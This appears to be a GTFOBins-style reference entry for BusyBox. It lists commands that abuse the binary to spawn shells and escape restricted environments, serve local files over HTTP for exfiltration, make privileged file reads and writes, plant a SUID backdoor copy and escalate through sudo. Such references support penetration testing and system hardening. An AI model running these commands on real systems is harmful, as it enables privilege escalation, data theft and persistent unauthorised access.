.. / busybox
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BusyBox may contain many UNIX utilities, run busybox --list-full to check what GTFBins binaries are supported. Here some example.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
busybox sh
```

File upload

It can exfiltrate files on the network.

Serve files in the local folder running an HTTP server.
```
export LPORT=12345
busybox httpd -f -p $LPORT -h .
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

LFILE=file_to_write
busybox sh -c 'echo "DATA" > $LFILE'

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

LFILE=file_to_read
./busybox cat "$LFILE"

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

It may drop the SUID privileges depending on the compilation flags and the runtime configuration.
```
sudo sh -c 'cp $(which busybox) .; chmod +s ./busybox'

./busybox sh
```

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

```
sudo busybox sh
```